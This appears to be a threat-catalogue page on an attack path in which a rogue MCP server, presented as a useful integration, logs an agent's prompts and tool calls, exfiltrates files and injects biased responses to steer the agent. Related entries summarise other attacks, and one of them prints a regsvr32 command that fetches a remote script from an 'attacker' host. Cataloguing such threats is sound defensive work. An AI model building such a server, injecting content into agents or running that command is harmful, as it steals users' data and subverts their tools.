Malicious MCP server → silent supply chain for agent tools
User installs an MCP server marketed as a useful integration. Every subsequent agent session has the rogue server in scope — its tools log prompts, exfil files, or inject responses to bias the agent.
§ Context
Assumed environment: target uses an MCP-compatible client (Claude Desktop, Cursor, Continue.dev). They add community-published MCP servers without vetting source.
§ Steps
- 01Promote via blog / GitHub / TwitterInitial AccessT1566— Phishing
- 02Victim adds it to client configExecutionT1204— User Execution
- 03Publish 'helpful' MCP serverResource DevelopmentT1583— Acquire Infrastructure
- 04Optionally inject biased responsesImpactAI-OUTPUT-INJECT— Output Injection (Markdown / HTML)
- 05MCP server logs every prompt + tool callInitial AccessAI-MCP-SERVER— Malicious MCP Server
- 06Exfil to attacker telemetry endpointCollectionAI-AGENT-EXFIL-LOGS— Exfil via Agent Observability Logs
§ References
- T1566Phishing
- T1204User Execution
- T1583Acquire Infrastructure
§ Frequently asked
- What is the "Malicious MCP server → silent supply chain for agent tools" attack path?
- User installs an MCP server marketed as a useful integration. Every subsequent agent session has the rogue server in scope — its tools log prompts, exfil files, or inject responses to bias the agent. It chains 6 steps drawn from real-world offensive-security techniques.
- What starting position does this attack require?
- The first step is Promote via blog / GitHub / Twitter (T1566) — a initial access primitive. Assumed environment: target uses an MCP-compatible client (Claude Desktop, Cursor, Continue.
- What is the final impact of this kill-chain?
- The final step lands on Exfil to attacker telemetry endpoint (AI-AGENT-EXFIL-LOGS), which falls under Collection. From here, an operator typically pivots into post-exploitation or maintains persistence.
- How can defenders detect or prevent this attack?
- Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.
§ Related dossiers
- Shared techniques2
Squiblydoo: regsvr32 → remote SCT execution
regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll. AppLocker / SRP often allow regsvr32 because it's signed Microsoft — attacker JS runs in its context.
- Shared techniques2
Wallet drainer dApp → setApprovalForAll → instant theft
Victim connects their wallet to a phishing dApp (fake mint / fake airdrop). One click on 'Confirm' calls setApprovalForAll on every valuable NFT collection — drained moments later.
- Shared techniques2
OneNote .one attachment → embedded payload → C2
OneNote .one file with a friendly 'Double-click to view' overlay hides an embedded HTA / VBS / EXE. Effective initial access vector after Microsoft blocked internet macros in 2022.
- Shared techniques2
Compromised vendor mailbox → reply-chain phishing → client compromise
Take over a vendor / partner mailbox via AITM phishing. Reply to an existing thread with a malicious link — trust transferred from the genuine prior conversation defeats most user training.
- Shared techniques2
Permissive SPF / DMARC p=none → CEO impersonation BEC
Target publishes SPF ~all and DMARC p=none. Send mail from attacker IP with a forged From: <ceo@target.com>; gateway delivers as-is. Combine with display-name spoof for a credible BEC.
- Shared techniques2
Header smuggling → gateway sees vendor, mailbox sees attacker
Crafted RFC-edge headers cause SPF/DMARC to validate against one From while Outlook renders the other — slips past Microsoft Defender / Proofpoint and lands as a 'verified' message.